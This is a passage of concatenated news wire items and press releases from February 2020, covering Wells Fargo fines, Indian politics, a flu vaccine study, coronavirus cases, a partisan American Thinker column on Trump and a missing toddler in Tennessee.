the asset cap and other enforcement actions against Wells Fargo wont be completely removed until 2022. Wells Fargos Stock Has Suffered The Justice Department and SEC said that Fridays settlement took into account other recent fines imposed against Wells Fargo, as well as the banks extensive cooperation and efforts to repair damage done to customers. Last month, former boss John Stumpf agreed to a lifetime ban from the banking industry and a $17.5 million fine for his role in the scandals. Seven other former Wells Fargo executives were fined about $70 million for what regulators described as the banks systemic sales practices misconduct. In February 2018, the Federal Reserve handed down unprecedented sanctions on Wells Fargo for widespread consumer abuses, including the creation of millions of fake accounts. That penalty, which is still in place and was one of the final acts of former Fed chief Janet Yellen, prevents Wells Fargo from growing its balance sheet beyond $2 trillion. Later in 2018, the Consumer Financial Protection Bureau and the Office of the Comptroller of the Currency fined Wells Fargo $1 billion for forcing customers to pay for car insurance they didnt need and mortgage fees they didnt owe. In some cases, Wells Fargo borrowers even had their vehicles wrongfully repossessed. Taken together, Wells Fargos series of scandals have seriously hurt its business. The banks reputation is tarnished and it has been forced to spend heavily on settlements, lawyers, and fixes to its risk management system. Wells Fargos stock, once a favorite in the banking industry, has fallen badly out of favor. Since the scandals began in September 2016, Wells Fargos stock is down 5 percent, while over the same time period the S&P 500 has soared 55 percent. Banking rivals JPMorgan Chase and Bank of America have more than doubled in value. In other words, Wells Fargo has been left in the dust. The-CNN-Wire & 2020 Cable News Network, Inc., a WarnerMedia Company. All rights reserved. Artisans Bazaar, an art, craft, handlooms and lifestyle exhibition, is being held from February 21 to March 1 at the Karnataka Chitrakala Parishath. On display are ethnic and contemporary arts and crafts, clothing, handloom sarees, jewellery, home dcor, furniture and handicraft products direct from artisans and craft persons from across India, a release said. There will also be "Lucknow chikankari, Manipuri pottery, Jodhpuri jutis and kalamkari prints", among others. "You can even get to directly interact with the artisans and know the story behind each product", it said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) ONE OF Limericks favourite independent acts, Fox Jaw, will release its third full-length album after 15 years together. The Limerick city rockers new album, entitled Breathe In The Strange, will be released this Friday, followed by a national tour to promote the new record, kicking off at the end of the month. Described as alt-rock meeting dark pop, the new album follows critical acclaim of the groups 2019 singles Madeline and Let It Run. The latter was ranked number six on the Limerick Leaders Songs of the Year on a long list of talented local artists. The band comprises Ronan Mitchell, Morgan Nolan, Shane Serrano, Kieran J Sims and Manolis Pates, and are widely known for their creative DIY ethic. Recorded at Even Audio with producer Mike Gavin of Windings and Mastered by Richard Dowling at Wav Mastering (David Bowie, Foo Fighters, Interpol). Read also: Things what are on in Limerick Their music has drawn comparisons to the likes of Tom Waits, Interpol, Pixies and yet sound like none of the above. Fox Jaw have played such festivals as: Electric Picnic, Indie Week (Canada and Ireland), Castlepalooza, Indiependence, Sea Sessions, AranMojo, Hard Working Class Heroes, Glasgowbury, Vantastival, Arthurs Day and more, and have supported major acts including Calvin Harris. Vatican City, Feb 21 : A year has passed since a historic summit in the Vatican where Bishops and Cardinals listened to victims of abuse, but little progress has been made in the way of reforms since the unprecedented meeting, a media report said on Friday. On February 21, 2019, over the course of a week, 190 representatives of Catholic Church gathered with the intention to agree on specific measures in response to allegations of abuse within the institution, the Efe news report said. But activists and victims and survivors organizations, while welcoming Pope Francis' move, have said that much remains to be done. Priest Hans Zollner, a member of the summit's organizing committee and the Pontifical Commission for the Protection of Minors created by Pope Francis, told Efe news that following the summit, several laws were enacted to combat cases of abuse. When asked about the dissatisfaction among activists that enough has not been done, Zollner said that victims recognize the church has embarked on a long journey. "Not much has been done. There has been an impulse, a lever on the part of Pope Francis and his close collaborators, but in general and, especially in Spain, it is not enough," Juan Cuatrecasas, the father of a victim and president of Infancia Robada (Stolen Childhood) association told Efe news. "We are halfway there, it is the best that can be said after a year," Matthias Katsch, a victim of abuse by a priest and one of the founders of the Ending Clergy Abuse network, said in a meeting with the international press in Rome. "Victims are talking more with the press, which is reporting on it. It is a first step. We know that the Church itself will not change things, public opinion has to pile on the pressure, and for that, it is very important that survivors talk." Those responsible for Bishop Accountability applauded the steps taken by the pontiff but pointed out that it has not had the same impact in all countries. In its report the organization said that 50 per cent of reported cases had been aired thanks to investigations by members of the media, adding that the Church had not issued internal reports nor had any plans to give victims compensation. Gateway Genomics logo Gateway Genomics, a leading developer of direct-to-consumer genetic tests that give families insight into their future children, was recognized in last years annual Inc. 5000 list of fastest-growing private companies in the United States. In this years Inc. 5000 California list, Gateway Genomics rose to be the 17th fastest-growing private company in the state, and #1 in the Health sector. California has many heavy hitters in the biotech industry, says Gateway Genomics CEO, Chris Jacob. To attain the top ranking in the state where Illumina, Genomic Health, and Guardant Health were born and launched is a strong achievement, and a testament to the vision of the company, which is to unlock previously inaccessible prenatal and pediatric genetic information, to help parents give their children the best lives possible. The companys flagship product, the SneakPeek Early Gender DNA Test, is designed to specifically focus on fetal sex and return just one answer male or female. The test is available in two ways: An At-Home version that can be ordered from an ecommerce website and taken at home, and a Clinical version that is offered in over 500 participating locations. Both can be taken at 8 weeks into pregnancy, providing gender results with 99.1% accuracy in as little as 48 hours. The company is planning additional DNA-based tests later this year that will give parents a window of insight into their developing child. To qualify for the California list, companies must have had $100,000 in revenue in 2016, and ranking was determined by percentage revenue growth between 2016 to 2018. With 861% revenue growth from 2016 to 2018, Gateway Genomics ranked #17 in the list, and #1 in the Health sector. The companies on this list demonstrate just how much the small-business sector impacts Californias economy, says Inc. editor in chief Scott Omelianuk. Across every single industry, these businesses have posted revenue and growth rates that are beyond impressive, further proving the tenacity of their founders and CEOs. About Gateway Genomics Gateway Genomics is a personal genomics company with the mission to develop leading-edge genetic tests that give families a new level of understanding about their future children. Since inception, more than 180,000 SneakPeek Early Gender DNA tests have been provided to help new parents bond with their babies, make plans, and connect with friends and family around them. Gateway Genomics is located in La Jolla, CA. About Inc. Media Founded in 1979, Inc. is the only major brand dedicated exclusively to owners and managers of growing private companies. The total monthly audience reach for the brand has been growing significantly, from 2,000,000 in 2010 to more than 20,000,000 today. The Inc. 5000 is a list of the fastest-growing private companies in the nation. Started in 1982, this prestigious list has become the hallmark of entrepreneurial success. In recognition of World Cancer Day, Holland America Line has announced that it has reached a total of $6.5 million raised for cancer support through its On Deck programming. Holland America Line began the programme in 2006, and to-date nearly half a million guests have participated in the walks. Currently, On Deck for a Cause benefits five international cancer organisations in the US, Canada, Australia, the Netherlands and UK. On Deck for a Cause invites guests to participate in a non-competitive 5k fundraising walk on every sailing aboard each of the lines 14 ships, with proceeds distributed among the American Cancer Society, Canadian Cancer Society, Cancer Council Australia, Cancer Research UK and KWF Kankerbestrijding (Dutch Cancer Society). On Deck has been at the heart of our giving programme for nearly 15 years, and its incredible that were able to continue reaching new milestones each year, like $6.5 million thanks to the generosity of our guests and crew, said Orlando Ashford, Holland America Lines president. We know that travel has the power to open minds, change perceptions and build deeper connections; and we also believe that coming together for a common cause helps inspire a sense of shared humanity. Cancer knows no borders and touches peoples lives around the world. We look forward to the day when World Cancer Day is held in celebration of a cure. Since its inception, nearly half a million participants have joined in more than 8,300 walks aboard Holland America Line cruises. Guests of all ages are invited to donate $20 to the Holland America Line Foundation, and on a day at sea participants join in a 5k non-competitive walk around the ships decks. Guests may walk less or not at all, as they prefer. Participants receive an On Deck for a Cause T-shirt, wristband and a reception following the walk. Depending on the ship, the distance to reach 5k ranges from nine to 12 laps. In 2020, more than 500 On Deck for a Cause events will be held across the Holland America Line fleet, with walks taking place globally on cruises to the Mediterranean, Europe, the Caribbean, the South Pacific, Alaska, Canada and New England, Mexico, Asia, the Baltic, the Panama Canal, Australia, New Zealand, Antarctica and South America. Soon it will be easier for guests to plan ahead and register online for the On Deck for a Cause walk prior to sailing as part of the online check-in process. Holland America Line and its corporate foundations charitable giving programs include cash sponsorship, shipboard luncheons, free- and reduced-fare cruise donations for nonprofit fundraising events, donations of usable shipboard items around the world, employee volunteerism and other philanthropic activities. - TradeArabia News Service Amid controversy over AIMIM leader Waris Pathan's communal '15 crore to dominate 100 crore' threat, BJP spokesperson Sambit Patra on Friday questioned the silence of Congress leaders Rahul Gandhi and Priyanka Gandhi Vadra, among others and said that all these "so-called liberals" have been unmasked as they carry the Constitution in their hands and have Waris Pathan in their hearts. "If a BJP leader would have given a statement like this then today all so-called liberals would have come out on the streets. Not even a single one is coming out today and asking questions. Where is Rahul Gandhi? Where is Priyanka ji?" Patra said in a press conference while referring to the "hate speeches" by All India Majlis-e-Ittehadul Muslimeen's Asaduddin Owaisi, his brother Akbaruddin Owaisi and party leader Waris Pathan. He added, "Koe nazar nahi aa raha hai... Kyunki ye sab mukhota pehenke ghum rahe hai. Aur mein spashthta ke saath keh du, samman ke saath kehdu, ye saare log 'Haath me samvidhan, dil me Waris Pathan'. (Nobody can be seen because they all are hiding behind masks. And I want to say it clear and with respect, these people carry Constitution in their hands and have Waris Pathan in their hearts)." While addressing an anti-CAA rally on Wednesday, Pathan had said, "The time has now come for us to unite and achieve freedom. Remember we are 15 crore but can dominate over 100 crores." "They tell us that we have kept our women in the front - only the lionesses have come out and you are already sweating. You can understand what would happen if all of us come together," Pathan said. BJP spokesperson also went on to talk about the girl -- Amulya -- who raised 'Pakistan zindabad' slogan at an anti-CAA rally organised by AIMIM chief Asaduddin Owaisi. "Owaisi snatched the mic away from the girl who shouted pro-Pakistan slogans, but when Waris Pathan spewed venom for 15 minutes why didn't he snatched mic from him? Owaisi was present on stage," Patra questioned the double standards adopted by the Owaisi. He questioned why they are "intimidating people and instigating violence in the country." "I feel afraid today because of the fact that I am reminded of a date, August 16, 1946, when the Muslim League in the undivided India had given a call of Direct Action Day. The Muslim League wanted a separate Pakistan and they wanted the Muslims of the country to show their strength," Patra said. "And yet again today we have Mr Owaisi and his party almost akin to Muslim League, giving out a call of something like Direct Action Day," he added. In context with the protest in Shaheen Bagh, Patra said, "You have used the ladies of Shaheen Bagh just as a shield to further your cause of hatred, to further your cause of wrong and false propagation." Talking about the order of Congress government in Madhya Pradesh to health workers in the state to bring atleast one man for sterilisation or face a penalty, Patra said, "This is almost akin to what we had seen during the days of Emergency imposed by Indira Gandhi, when she was the Prime Minister. We had seen as to how forced sterilisation of thousands of men had been done then. Ironically, the Congress party talks of Nazism and Emergency today while their own states have almost forced a state of Emergency upon the people of India and specially the people of Madhya Pradesh. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The chief of staff of the Egyptian armed forces Lt. General Mohamed Farid attended the main phase of the Bashir-21 drills, the Egyptian armed forces said on Friday. The drills, which will run for several days, are being conducted by units of the Second Field Army within the framework of the annual combat training plan of the armed forces. The drill started with battle preparation and organisation procedures that included the display of reports and decisions, then followed with the engagement of all participating elements in the battle. This stage showed the high level reached by the participating elements and their field skills and high combat preparedness and the use of latest control systems. Farid also conveyed the greetings of President Abdel-Fattah El-Sisi and Defence Minister Mohamed Zaki to the Second Field Army personnel. Search Keywords: Short link: Source: Xinhua| 2020-02-22 03:37:32|Editor: Mu Xuequan Video Player Close BEIRUT, Feb. 21 (Xinhua) -- Moody's downgraded on Friday Lebanon's government issuer ratings to Ca from Caa2 amid concerns over the country's potential restructure of its massive debt, according to a Moody's statement. The Ca rating reflects Moody's expectation that domestic and external private creditors will likely incur heavy losses in what seems to be an inevitable near-term government debt restructuring given the rapidly deteriorating economic and financial situation. Lebanon's public debt stands at more than 89 billion U.S. dollars, as the country is suffering from a low liquidity, prompting banks to impose capital controls by limiting withdrawals to a few hundred dollars a month. One firefighter fell through a hole in the first floor of the burning home but was able to get out and did not suffer any injuries. Three other firefighters were taken to a hospital for minor burns, officials said. A fifth firefighter was taken to a hospital for non fire related medical reasons, according to a Twitter message. Source: Xinhua| 2020-02-21 13:56:20|Editor: huaxia Video Player Close NEW DELHI, Feb. 21 (Xinhua) -- Six persons died and one injured in a road mishap between a car and a truck in India's western state of Rajasthan on Friday morning, a local cop told Xinhua over phone. The accident happened in Hanumangarh district. According to a police officer, those who died were from in a nearby village, returning home after attending a religious programme in another district. The injured has been sent to a local hospital. In another accident, three persons died of drowning in the central state of Madhya Pradesh when the car they were traveling in lost control and plunged into a lake. The mishap happened in the state's Bhind district on Thursday night. The dead bodies had been recovered, but their identities were yet to be confirmed, said media reports. AAP threatens to cut power supply to Punjab CM Amarinder Singh's residence India oi-Mousumi Dash Chandigarh, Feb 21: The Aam Aadmi Party (AAP) in Punjab on Friday threatened to cut off the power supply to Punjab Chief Minister Amarinder Singh's residence in Patiala if the state government failed to scrap power purchase agreements with private plants. On Friday, the AAP's Punjab unit chief Bhagwant Mann accused the Congress-led government of having a "secret pact" with private thermal plants. According to the PTI report Mann said, "That is why the state government neither got the accounts of power companies audited nor revoked the PPAs even after being in power for more than three years now." On this day Mann said in a statement that if the Amarinder Singh government fails to terminate PPAs with private thermal plants inked by the previous Badal government during the current budget session, the AAP will be forced to cut power of Amarinder's Moti Mahal on March 16 . A decision in this regard was taken by the party's core committee, the statement added. Mann said the Congress had promised before the 2017 Assembly polls that it would review the PPAs after coming to power. "Amarinder Singh has the golden opportunity to terminate the anti-state PPAs in the current budget session, thus helping the people heave a sigh of relief from the recurring power shocks," he said. According to PTI, the Amarinder Singh-led government in Punjab has been facing criticism from the opposition parties over the rising power tariff in the state. The Akalis had also accused the Congress of "striking underhand deals" with the management of private thermal plants, resulting in a loss or Rs 4,100 crore to the state exchequer. Power rates in Punjab were hiked by 36 paise a unit from January 1 for domestic consumers. On February 17, Amarinder Singh had said that his government would renegotiate the power purchase agreements with private players. The previous SAD-BJP government had signed PPAs with private companies for coal-fired power plants in Rajpura, Mansa and Goindwal Sahib. Will always miss him: DCW chief announces divorce with AAP leader Navin Jaihind Meanwhile, the AAP's core committee on Thursday also adopted a "congratulatory resolution" over the third stunning victory of the party in the Delhi Assembly election under the leadership of Arvind Kejriwal. For Breaking News and Instant Updates Allow Notifications Story first published: Friday, February 21, 2020, 20:38 [IST] Photo: Contributed Getting vaccinated for the flu may have prevented about six out of 10 people from becoming infected in an early Canadian flu season, says a study involving a network of family doctors who monitored patients in British Columbia, Alberta, Ontario and Quebec. Dr. Danuta Skowronski, lead author of the study and lead epidemiologist for influenza at the BC Centre for Disease Control, said the study involved about 2,800 patients who were seen by their physicians for a flu-like illness between Nov. 1, 2019 and Feb. 1. The current flu season was the most unusual in about five years because of an early spike in influenza B as influenza A was circulating across Canada and the northern hemisphere. Skowronski said the doctors are part of the Sentinel Practitioner Surveillance Network involved in helping to determine vaccine effectiveness. They took nasal swabs from patients who were at least a year old and were seen within seven days of the start of symptoms such as fever, cough and sore throat. The study, published Thursday in Eurosurveillance, a journal on infectious disease surveillance, epidemiology, prevention and control, found about an equal number of people were sickened by influenza A and B. "This vaccine prevented about 60 per cent of cases of influenza that would have otherwise occurred in unvaccinated cases," Skowronski said. She said vaccination effectiveness was estimated by comparing vaccine coverage of patients who tested negative for influenza versus those who tested positive. The so-called test-negative method was pioneered by the BC Centre for Disease Control in 2004 and has come to be used globally in place of randomized control trials, which would require a group of unvaccinated patients, an unethical scenario given everyone should get the vaccine, Skowronski said. "Other countries have now adopted that methodology," she said. "Collectively, we submit our findings to the World Health Organization. Later this month the WHO will be meeting to decide whether it needs to update the vaccine strains for next season's formulation," she said of the virus that changes every year. "This is good news in that the vaccine is performing better than it has in previous years," Skowronski said of the findings, adding they highlight the fact that the public should get vaccinated annually to protect themselves against various strains of the influenza virus, especially if they have a heart or lung condition or are in contact with vulnerable people including the elderly. "If you want to prevent a miserable illness, and influenza is a miserable illness, a vaccine will protect you against that. But that might be an individual decision. For me, it's really a kind of double tragedy when high-risk individuals experience these severe outcomes and they could have been prevented through vaccination." Concerns about the novel coronavirus should create a greater appreciation for influenza vaccines, Skowronski said. In place of no vaccine for COVID-19, people should rely on conventional public health measures used for other coronaviruses, such as washing their hands and sneezing and coughing into their elbow, she said. However, she said knowing who will or won't get the flu is complex and could include issues such as which influenza subtypes were prevalent around the time someone was born, giving them a lifelong immunity to those subtypes. British Columbia, Quebec and New Brunswick are the only provinces that do not offer publicly funded vaccination for influenza for all residents but provide it in limited cases, including for pregnant women. The Public Health Agency of Canada said an average of 12,200 people are hospitalized for the flu every year and 3,500 people die of it annually. It says everyone aged six months and older should get immunized, and the best time for that is between October and December, before the virus begins spreading. The special PMLA court on Friday granted bail to Dewan Housing Finance Corporation (DHFL) promoter Kapil Wadhawan, 46. He was arrested on January 27 in connection with the money-laundering probe against late gangster Iqbal Mirchi. Wadhawan had moved for bail earlier this month on the ground that he had no connection with the transaction of Mirchis properties. Defence lawyer Amit Desai had also questioned his arrest on the ground that the transaction of DHFL which the Enforcement Directorate has cited for Wadhawans arrest had nothing to do with the case of money laundering by Mirchi. They contended that it could be a different case. The defence also pleaded that the key accused who were directly involved in buying the properties that is - Dheeraj Wadhawan and promoters of Sunblink Real Estate Pvt Ltd., have been granted bail. The bail was opposed by the ED on several grounds including that Kapil Wadhawan may influence the probe. The court has after considering all aspects granted bail to Wadhawan on Friday. The ED accused Wadhawan of playing a very crucial role in nefarious transactions by way of money laundering. The ED has claimed that DHFL created five shell companies, which eventually got amalgamated with Sunblink. According to the ED, the conduit of M/s Sunblink was deliberately created by Kapil Wadhawan as CMD of DHFL and others just to confuse the trail of money for purchase of properties from the Mirchis. M/s Sunblink is controlled by the Wadhawans. The poorly written click-bait headline at the Washington Post Trump declares himself chief law enforcement officer complete with the scare quotes, might create the impression among the woefully ignorant who depend on their fish wrapper for news. The headline implies President Trump said something wrong, which begs the question: has anybody under the age of sixty ever read the U.S. Constitution? Its only about four pages long, written back in the day when people still produced clear and concise documents by hand. And more importantly, shouldnt journalists have a basic understanding of their subject matter if they are going to be allowed to help shape public opinion with their reporting? The Constitution's Section 1 of Article II includes the Presidents specific oath of office in the definition of his duties: ''I do solemnly swear (or affirm) that I will faithfully execute the Office of President of the United States, and will to the best of my Ability, preserve, protect and defend the Constitution of the United States.'' Section 3 in Article II adds, [the President] shall take Care that the Laws be faithfully executed, and shall Commission all the Officers of the United States. Are these reporters old enough to remember what Paul Begala said as Bill Clinton was signing an executive order: Stroke of the pen, law of the land. Kinda cool. The concept of an executive order is very cool, actually, because of the Constitutional separation of powers between the executive, legislative, and judicial branches of government. Congress passes bills. Presidents sign those bills into law or veto them. Congress may override the veto. The courts rule on whether or not those new laws are unconstitutional. Why yes, it turns out that at least one of the two credited reporters, Pulitzer Prize-winning investigative journalist Beth Reinhard, was already working as a reporter when Bill Clinton was elected. She ought to know the Begala quote as well as I do. Theoretically, she should know a lot more about politics than I do. So why has she allowed her name to be associated with that headline? Once Congress has made a law, it becomes the duty of the president to see that law enforced. Barack Obama was famous for his selective enforcement of federal laws, especially those pertaining to illegal immigration. He called cops dumb and routinely interfered with justice in the murder trial of George Zimmerman, and contributed to racial tensions after the death of Michael Brown by sending Eric Holder to Ferguson, implying that the local criminal justice system wouldnt give Officer Darren Wilson a fair trial because they might find him innocent of the charges. Wilson was innocent. Brown was killed in self-defense. Yes, Donald Trump commuted the sentence of former Democratic governor Rod Blagojevich and commented on the ridiculous sentencing requests of prosecutors in the Roger Stone case. So what? Bill Clinton pardoned Marc Rich. Gerald Ford pardoned Richard Nixon. Presidents are given this authority by the Constitution. The question isnt whether or not POTUS has the authority as granted by the Constitution -- he absolutely does. The question that usually arises in the case of a pardon is the motive behind it. Why did Gerald Ford pardon Richard Nixon? My best guess is because no U.S. president in history has ever been convicted of a crime and sent to prison after leaving office, and he didnt want to set the precedent. Perhaps Ford made a mistake by setting the wrong precedent. Nobody should be considered above the law, and Nixon broke the law by obstructing justice. Bill Clinton also broke the law when he committed perjury. If the chief law enforcement officer in the U.S. cannot even be trusted to tell the truth in a court of law, how can any regular citizen be prosecuted for perjury if their lies are allegedly told under oath only to avoid personal embarrassment? The concept of equal justice under the law is crucial to our republic. President Trump was absolutely right to challenge the sentencing guidelines for Roger Stone because there are many of us citizen journalists who might never get considered for the Pulitzer Prize but know enough about politics in Washington to mention the name of James A. Wolfe when talking about double standards for punishment of malfeasance -- a recommended sentence of seven-nine years versus two months, when Wolfe was guilty of more serious crimes? Not to mention that Andrew McCabe was not even prosecuted, and the general public is now forced to listen to him whine about his conspiratorial actions having consequences on CNN, if trapped in an airport or the home of a liberal relative. Some of us havent forgotten that McCabes wife was taking money from Terry McAuliffe to run as a Democrat for the Virginia state senate in 2015. Andrew McCabe lacks a lot more than candor -- he also lacks integrity and the self-awareness to realize that his position at the FBI wasnt nearly as important to the future of the United States as Donald Trumps presidency is. During Obamas presidency, James Comey turned the Federal Bureau of Investigation into a Federal Bureau of Incompetence, and Eric Holder turned the Department of Justice into a Department of Injustice. Got an R next to your name? The feds will throw the book at you. Got a D? Youll get a slap on the wrist. American patriots are beyond frustrated. We are tired of seeing Democrat politicians figuratively get away with murder and literally escape justice when guilty of negligent homicide. We are tired of blaming incompetence of such epic proportions that the Keystone Kops look like a well-trained, professional paramilitary unit by comparison. When Muellers team wanted Paul Manafort to provide evidence against Donald Trump, they locked him in solitary confinement as if he was the worst-of-the-worst among criminals. When they wanted to intimidate Roger Stone, they sent a small army of heavily armed cops to arrest him at dawn. But when everybody and their brother knew that Jeffrey Epstein had serious dirt on politicians like Bill Clinton, somehow Epstein managed to commit suicide while in custody. Its difficult to hold onto faith that justice will ultimately prevail, and the truth will become public knowledge one day. We waited patiently, but Michael Horowitz only told us what we already knew. He didnt explain how the most powerful law enforcement agency in America became so blatantly corrupted that multiple FISA warrants would be sworn against employees of an incoming president based on fraudulent information, and even three years later, none of the conspirators have faced punishment. All hopes for justice in the conspiracy against Donald Trump seems to rest on John Durham, appointed by A.G. Barr on May 13, 2019. While weve been waiting for justice, the nation has experienced a sham impeachment and the justified acquittal of President Trump. Yet most Americans remain ignorant of the coup attempt launched against him before he was even sworn into office. Yes, America. President Donald J. Trump is the chief law enforcement officer in the United States, not because it is his opinion, but because the Constitution says he is, just as Nixon, Clinton, Bush, Obama, and every other elected president has been. Thats never really been any doubt about that fact for anyone who has taken a civics class in high school or political science in college. The question is, can the chief law enforcement officer in the U.S. get equal justice under the law for his political enemies, or will they be allowed to escape the consequences for deliberately trying to undermine his administration before he even took office? John Leonard writes novels, books, and articles/blogs for American Thinker. You may find him on Facebook or his website at southernprose.com. His books are available here. By Trend The state visit by Azerbaijani President Ilham Aliyev to Italy is historic, Domenico Letizia, Italian economic and geopolitical analyst, who is cooperating with Imprese del Sud Think Tank, told Trend. This is the first state visit by Azerbaijani President Ilham Aliyev to Italy, with which excellent relations are maintained in the political, economic, cultural and scientific fields, Letizia noted. This successful visit is a significant step towards the development of relations between Azerbaijan and Italy. The Italian analyst noted in particular that the joint declaration signed between Azerbaijan and Italy during this visit is a new stage in bilateral relations. Letizia added that the meetings held by the Azerbaijani president with Italys senior officials, as well as with representatives of Italian companies representing various fields, are the basis for the development of commercial and business exchanges. The Azerbaijani-Italian business forum, which is being held as part of this historic visit, is also of particular importance in the development of relations, in particular in such areas as agriculture, production of industrial equipment, transport and infrastructure, ICT, energy and environmentally friendly technologies, said the analyst. Italy and Azerbaijan are important partners, Letizia added. Azerbaijan maintains strong commercial relations with Italy not only in the energy sector, but also in other sectors of the economy. Azerbaijan has taken a course to diversify its economy, and Italy in this aspect can play an important role, including in sectors such as agriculture, infrastructure and IT services. The capabilities of the Port of Baku and free trade zones are also important in the expansion of bilateral economic relations. However, the energy component is also a priority, given the active implementation of the Trans Adriatic Pipeline (TAP) project, the Italian analyst said. The implementation of the TAP project is of particular importance for Italy, since this project will allow the country to overcome energy problems and turn into European gas hub, Letizia noted. By the end of 2020, Azerbaijani gas will go to Italy and from there will be delivered to other European countries. This project will significantly change the energy map of Europe and will increase competition in the continents gas market. The analyst said that the state visit by President Ilham Aliyev to Italy is also timed to coincide with the opening of the Year of Azerbaijani Culture (2020) in Italy. As part of this event, shows, theater performances, concerts, exhibitions and meetings throughout Italy will be held within ten months, and this will allow Italians to get even closer acquainted with Azerbaijans traditions and culture, Letizia added. --- Follow us on Twitter @AzerNewsAz JERUSALEM - One of the 11 Israelis who were flown home after being quarantined on a cruise ship in Japan has tested positive for the new virus that emerged in China late last year, the first case to be reported inside Israel, officials said Friday. The Israeli cruise ship passengers, who had all initially tested negative for the new coronavirus, arrived on a charter plane overnight. They were met by medics in protection suits and immediately taken to the Sheba Hospital near Tel Aviv, where they will be kept in quarantine. Dr. Gili Regev-Yochay, director of the infectious disease unit at the hospital, said all 11 were tested again upon arrival. She said a woman tested positive as a carrier of the virus but is totally healthy and is not exhibiting any symptoms. She was in a lot of stress, Regev-Yochay said. Obviously the whole situation is not easy. Another four Israelis were hospitalized in Japan after testing positive for the virus. Regev-Yochay said they are not showing any symptoms. The new coronavirus, which causes the illness recently named COVID-19, has infected more than 76,000 people in 27 countries and caused more than 2,200 deaths since it was first reported in Chinas Hubei province in December. The Diamond Princess ship docked at a Yokohama port has the most cases of the new virus outside of China, with 634 confirmed by late Thursday. Two former passengers have died. Dozens of foreign passengers were flown back to their home countries on flights chartered by their governments. Israel has cancelled all flights to and from China, and is requiring Israelis returning from China, Hong Kong, Macau, Singapore or Thailand to be quarantined at home for two weeks. SES S.A. today notes the comments made by Intelsat in its ex-parte submission to the U.S. Federal Communication Commission (FCC) dated 19 February 2020. SES reaffirms its steadfast support for the Commissions objectives to ensure global leadership in 5G, and it stands ready, willing, and able to play a central role in the expedited clearing of a portion of the C-band. SES believes that there remains an important role for the C-Band Alliance (CBA), and that the CBAs collaborative clearing plan is the most efficient path to clear the spectrum. That said, SES is prepared to act on its own in the clearing process if necessary, while protecting its customers. SES is disappointed by Intelsats eleventh-hour attempt to renounce its commitments made to other CBA members and the Commission over the course of this proceeding, in aid of a transparent and egregious attempt to capture a greater share of the proposed accelerated relocation payments. Having worked collaboratively for a long period of time on this project, this sudden and recent change in direction by Intelsat is both disappointing and not legally compliant. SES will hold Intelsat responsible under its commitments. Follow us on: Social Media Blog Media Library About SES SES has a bold vision to deliver amazing experiences everywhere on earth by distributing the highest quality video content and providing seamless connectivity around the world. As the leader in global content connectivity solutions, SES operates the worlds only multi-orbit constellation of satellites with the unique combination of global coverage and high performance, including the commercially-proven, low-latency Medium Earth Orbit O3b system. By leveraging a vast and intelligent, cloud-enabled network, SES is able to deliver high-quality connectivity solutions anywhere on land, at sea or in the air, and is a trusted partner to the worlds leading telecommunications companies, mobile network operators, governments, connectivity and cloud service providers, broadcasters, video platform operators and content owners. SESs video network carries over 8,300 channels and has an unparalleled reach of over 355 million households, delivering managed media services for both linear and non-linear content. The company is listed on Paris and Luxembourg stock exchanges (Ticker: SESG). Further information is available at: www.ses.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20200219006097/en/ Authorities in Sullivan County, Tennessee, have questioned the mother of a 15-month old girl who was last seen in December. Evelyn Mae Boswell was last seen sometime in December, according to the Tennessee Bureau of Investigation but she was officially reported missing only on Tuesday, more than seven weeks after she vanished. Authorities first learned that Evelyn was missing after hearing from relatives who stated they had not seen the toddler since the holidays. The childs mother did not report her missing. PEOPLE confirms that the toddlers mother, Megan Maggie Boswell, was questioned by authorities at the Sullivan County Sheriffs office on Thursday evening. She was not charged with any crime and left the Sheriffs office after the questioning. When Megan Boswell left the Sheriffs office, she declined to give an interview to a reporter from WJHL-TV. It is unclear whether she has an attorney and she has not returned PEOPLEs messages for comment. The Sheriffs office is not disclosing details from their interview with Boswell at this time. Tennessee Bureau of Investigation AMBER ALERT: We need your help to locate 15-month-old Evelyn Mae Boswell, who is missing from Sullivan County. If you have seen Evelyn, please call the Sullivan County Sheriff's Office at 423-279-7330 or the TBI at 1-800-TBI-FIND. #TNAMBERAlert pic.twitter.com/wL3cKkswsh Tennessee Bureau of Investigation (@TBInvestigation) February 20, 2020 A statewide AMBER Alert has been issued for the toddler. The Sullivan County Sheriffs office has enlisted the help of the FBI and the Tennessee Bureau of Investigation. The Tennessee Department of Childrens Services has also launched an investigation. Story continues RELATED: 15-Month-Old Tennessee Toddler Was Just Reported Missing But She Hasnt Been Seen Since December Authorities are not disclosing further details on their investigation or disclosing why it took so long for the toddler to be reported missing. Want to keep up with the latest crime coverage? Sign up for PEOPLEs free True Crime newsletter for breaking crime news, ongoing trial coverage and details of intriguing unsolved cases. The toddlers father, Ethan Perry, is active duty in the U.S. military, and is stationed in Louisiana. According to her AMBER Alert, Evelyn is 2 feet tall and weighs 28 lbs. She has blonde hair and blue eyes. She was last seen wearing a pink tracksuit, pink shoes, and a pink bow. Officials now say in the AMBER alert that they have information indicating that people traveling in a gray 2007 BMW with Tennessee plate 3M96W9 and front-end damage might have information in the disappearance of the toddler. Anyone who has information about Evelyns whereabouts is asked to call the Sullivan County Sheriffs Office at 423-279-7330 or the TBI at 1-800-TBI-FIND. Email To : Multiple e-mail addresses must be separated with a comma character(maximum 200 characters) Email To is required. Your Full Name: (optional) Your Email Address: Your Email Address is required. A school in the city has allegedly denied admission to a boy whose parents did not fill the religion column in the application form, prompting the Kerala department to seek a report. The parents, Naseem and Dhayna, had sought admission for their son to the first standard at the St Mary's school, a government aided institution. They alleged that school authorities had claimed that registration will not be possible on the department's 'Sampoorna' portal without filling the 'religion' column. "We were informed by the school authorities that it was not possible to give admission to our child as we wrote 'nil' in the religion column. They claimed that if nil is mentioned, the admission process will not get registered in the school management software of the department," Naseem said. Sampoorna is a school management system project implemented by the Kerala education department to automate the system and process of over 15,000 schools in the state. The parents later approached the ministry and the Directorate of Public Instruction (DPI) to get further clarification. "The state government officials denied that there were any issues with the software and confirmed to us that admission process was going on. When we approached the school authorities again, they asked us to give in writing that we, the parents will take responsibility of any issues that may occur in future," Naseem said. The parents then decided not to enrol their son at the school due to the manner in which the issue was handled by the institution. Reacting swiftly, the state government sought a report from the DPI and the deputy director of the education department on the matter. "We have asked the DPI and the deputy director of the education department to look into the matter and file a report as soon as possible," Education minister C Raveendranath told PTI. The parents said after the spread, a school official called them offering admission. "But we decided not to enrol him there due to the approach of the school authorities," he 